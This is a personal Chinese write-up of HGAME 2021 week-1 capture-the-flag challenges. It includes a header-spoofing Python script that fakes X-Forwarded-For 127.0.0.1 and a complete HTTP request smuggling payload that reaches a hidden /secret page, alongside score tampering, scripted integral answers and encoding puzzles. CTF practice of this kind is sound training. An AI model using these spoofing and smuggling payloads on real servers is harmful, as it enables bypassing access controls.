HAME2021-week 个人WP

昵称:Err0r

Week1

这是week1,做了Web和部分Misc,后续会整合成一篇文章(先让我水着)

由于某些原因,以后会注重原理上的研究


Web

Hitchhiking_in_the_Galaxy

题目描述: 第一次在银河系里搭顺风车,要准备啥,在线等,挺急的

题目地址: http://hitchhiker42.0727.site:42420

抓包看看顺风车啥样

状态码405Method Not Allowed

对于任何客户端请求都要进行一套流程,即DNS解析域名返回IP,打开IP套接字(socket)连接IP,再通过套接字写HTTP数据流,最后从WEB服务器接受响应的HTTP数据流。而405状态码就是最后一步生成的,即服务器不响应这种请求方式,请求方式有GET/POST/HEAD/PUT等,换成POST看看。

注意:在burpsuite里面,右键改变请求方式即可

随后提示只有使用"无限非概率引擎"(Infinite Improbability Drive)才能访问这里~

这里只要改UA就行了,User-Agent 简单来说就是告诉服务器访问者是通过什么工具来请求的,添加Infinite Improbability Drive或者直接删掉UA只加这个也可以

随后提示

你知道吗?<a href="https://github.com/wuhan005">茄子</a>特别要求:你得从他的<a href="https://cardinal.ink/">Cardinal</a>过来

这里是要改Referer,简单来说就是告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理,用法一般是为了防外连接,直接用<a href="">用Submit或<input type="image">提交的表单(POST或GET),或者使用JavaScript提交的[表单](https://baike.baidu.com/item/表单)(POST或GET)都是会带上Referer,当然伪造也很简单。

最后提示flag仅能通过本地访问获得

很简单的XFF,XFF就是表示客户端最原始的IP地址,也是很容易伪造

python脚本如下

# -*- coding: utf-8 -*-
"""
@Time : 2021/2/6 15:57
@Auth : gyy
@Blog :http://err0r.top

"""
import requests

url = "http://hitchhiker42.0727.site:42420/HitchhikerGuide.php"

headers = {
    "User-Agent" : "Infinite Improbability Drive",
    "Referer" : "https://cardinal.ink/",
    "X-Forwarded-For" : "127.0.0.1"
}

res = requests.post(url,headers = headers).text
print(res)

看着直观点


watermelon

题目描述: 简单且上头的游戏

题目地址 : http://watermelon.ryen.xyz:800/

紧跟潮流的小游戏,作者把源码公开了,所以有很多二创。抢了个一血

手快2333

看到小游戏题,第一眼看js,github搜一圈了解到这个游戏的源码在./src/project.js。但是代码四千行,因为游戏开源,所以很容易能找到分析的源码资料,参考链接,直接搜到控制分数的代码,改掉

可以看到这一块3436行default.score是计分块,改成+999999保存,然后把游戏玩结束弹flag


宝藏走私者

题目描述:

资料:https://paper.seebug.org/1048/
宝藏走私者 Switch 喜欢偷盗并将奇特的宝藏走私到一些黑市商家手中。
为了阻止其继续作恶,警探 Liki 奉命将 Switch 抓捕归案。
调查过程中,Liki 发现 Switch 将一个秘密藏在了一个私人服务器中。
这或许会成为后续追查 Switch 的重大线索,你能找到这个秘密吗?

题目链接: http://thief.0727.site:80

hint: 注意留意服务器信息

HTTP请求走私,资料里讲的很详细,建议仔细读一下,这里不做过多阐述

payload:

GET / HTTP/1.1
Host: thief.0727.site
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 95
Transfer-Encoding: chunked

0

GET /secret HTTP/1.1
Content-Length: 30
Host: thief.0727.site
Client-IP: 127.0.0.1

1

智商检测鸡

题目描述: 又有谁不爱高数呢?反正我不爱(请使用firefox浏览器打开题目)

题目地址: http://r4u.top:5000/

又到了写脚本环节,首先看下题目

我大概是假的大学生

先找题目,全是ax+b的形式,那就挺好办的,找源码看看怎么取数字

应该还是挺好取的,但是开始写脚本发现GET请求不到,应该是对接api的,果然在Sources里面找到了个fuckmath.js

function getStatus(){
    $.ajax({
        type:"GET",
        url: "/api/getStatus",
        dataType:"json",
        success:function(data){
            let solving = data['solving']
            $("#status").text(solving);
            if(solving === 100)
                getFlag();
        }
    });
}

function getQuestion(){
    $.ajax({
        type: "GET",
        url: "/api/getQuestion",
        dataType: "json",
        xhrFields: {
            withCredentials: true
        },
        crossDomain: true,
        success:function(data){
            $('#integral').html(data['question']);
        }
    });
}

function getFlag(){
    $.ajax({
        type: "GET",
        url: "/api/getFlag",
        dataType: "json",
        success:function(data){
            $('#flag').html(data['flag']);
        }
    });
}

function init(){
    getQuestion();
    getStatus();
}

function submit(){
    $.ajax({
    type: "POST",
    url: "/api/verify",
    data: JSON.stringify({answer:parseFloat($('#answer').val())}),
    dataType: "json",
    contentType: "application/json;charset=utf-8",
    xhrFields: {
        withCredentials: true
    },
    crossDomain: true,
    success: function(data) {
        console.log(data);
        if (data['result'] === true) {
            init();
            $('#alert').html(`
                <div class="alert alert-success">\n
                    <strong>Right!</strong>\n
                </div>`)
        } else {
            $('#alert').html(`
                <div class="alert alert-danger">\n
                    <strong>Wrong!</strong>\n
                </div>`)
        }
    }
});
}

应该是通过./api/getStatus检查做题情况,./api/getQuestion加载题目,./api/verify交答案,最后./api/getFlag拿flag

直接访问./api/getFlag看看?

被骂了555…应该是检查session看做题情况,其他都访问一下看看

最后确认答案是answer,开始写脚本

赶时间,没搞正则,凑合着用用吧,蹩脚编程勿喷2333

payload:

# -*- coding: utf-8 -*-
"""
@Time : 2021/1/30 21:20
@Auth : gyy
@Blog :http://err0r.top

"""
import requests
from sympy import symbols, integrate
import json

url = "http://r4u.top:5000"
# print(requests.get(url))
session = requests.session()


def jifen(shangxian, xiaxian, a, b):
    x = symbols("x")
    A = integrate(a * x + b, (x, xiaxian, shangxian))
    return A


def req(url, data):
    if data == "get":
        res = session.get(url, headers={
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0"}).content.decode(
            'utf8')
        return res.replace("{", "").replace("}", "").replace("\"question\":\"<math>", "").replace("</math>\"}", "")
    else:
        res = session.post(url, data=json.dumps(data), headers={"Content-Type": "application/json"}).content.decode(
            'utf8')
        return res


def run():
    res = req(url + "/api/getQuestion", "get").split("<mrow>")
    # print(res)
    xiaxian = int(
        res[2].replace("<mo>", "").replace("</mo>", "").replace("<mn>", "").replace("</mn>", "").replace("</mrow>", ""))
    # print(xiaxian)
    shangxian = int(
        res[3].split("</msubsup>")[0].replace("<mo>", "").replace("</mo>", "").replace("<mn>", "").replace("</mn>",
                                                                                                           "").replace(
            "</mrow>", ""))
    # print(shangxian)
    a = int(
        res[3].split("(")[1].split("x")[0].replace("<mo>", "").replace("</mo>", "").replace("<mn>", "").replace("</mn>",
                                                                                                                "").replace(
            "</mrow>", "").replace("<mi>", ""))
    # print(a)
    b = float(
        res[3].split("+")[1].split(")")[0].replace("<mo>", "").replace("</mo>", "").replace("<mn>", "").replace("</mn>",
                                                                                                                "").replace(
            "</mrow>", ""))
    # print(b)
    ans = jifen(shangxian, xiaxian, a, b)
    print(ans)
    data = {"answer": str(ans)}
    upans = req(url + "/api/verify", data)
    print(upans)


if __name__ == '__main__':
    for i in range(0, 100):
        run()
    print(session.get(url + "/api/getFlag").content.decode('utf8'))
    #print(session.cookies)

一 键 获 取 flag


走私者的愤怒

题目描述:

本题为宝藏走私者的更改版本,考点相同,请先做出宝藏走私者
Liki 日记:
2020年2月2日:
今天警局寄来一封信,是走私者 Switch 寄来的,信里只有一句话
“我最讨厌顺风车,我将带来我的愤怒”
真是让人摸不着头脑……
我看不懂,但我大受震撼。

题目描述: http://police.liki.link

原因是web3能上车了2333

相同payload,改改host就行


Misc

misc随缘做做了,一周三场比赛有点忙


Base全家福

题目描述:

新年即将来临之际,Base家族也团聚了,他们用他们特有的打招呼方式向你问了个好,你知道他们在说什么吗? R1k0RE1OWldHRTNFSU5SVkc1QkRLTlpXR1VaVENOUlRHTVlETVJCV0dVMlVNTlpVR01ZREtSUlVIQTJET01aVUdSQ0RHTVpWSVlaVEVNWlFHTVpER01KWElRPT09PT09
本次比赛为招新赛,请各位选手不要在当周比赛进行期间至结束后24小时内发布当周比赛题目的writeup

题目地址:https://www.baidu.com 很强啊

base64+base32+base16 不解释


吐槽下MISC2

压缩包密码知道是啥嘛?

23333没错就是的

misc3好像是流量包,能提出来一张几M的图片,分析图片


Word RE:MASTER

题目描述: timmix不知所踪,只留下了两个word文档,作为word专家的你能帮忙找出他的去向吗?

题目链接:https://1.oss.hgame2021.vidar.club/Word_REMASTER_e3c365a2c0edb60fbb7152279a31dafd.zip

其实我以前出过一个Word的Misc,有人记得嘛2333

两个word文档,先看属性

估计另一个有密码,直接以压缩包形式打开

很轻易有个word/password.xml

<password>+++++ +++[- >++++ ++++< ]>+++ +.<++ +[->+ ++<]> ++.<+ ++[-> +++<] >+.<+ ++[-> ---<] >-.++ ++++. <+++[ ->--- <]>-. +++.+ .++++ ++++. <+++[ ->--- <]>-- ----. +.--- --..+ .++++ +++++ .<+++ [->-- -<]>- ----- .<</password>

很显然brainfuck

解密网站https://www.splitbrain.org/services/ook

解得DOYOUKNOWHIDDEN?

开第二个文档,分析了一下什么都没有,文档只有一张图片

选中文档发现不对劲,显示隐藏标记发现有隐藏字符,把字符取消隐藏

发现是空白的,单独保存下来

结合图片跟雪有关,可能是snow加密,去跑一下试试

确实


其他题目可以等官方或者PWN师傅的WP啦,每次做题不管简单还是困难都要有所收获,week2师傅们也要加油!提前祝师傅们新年快乐!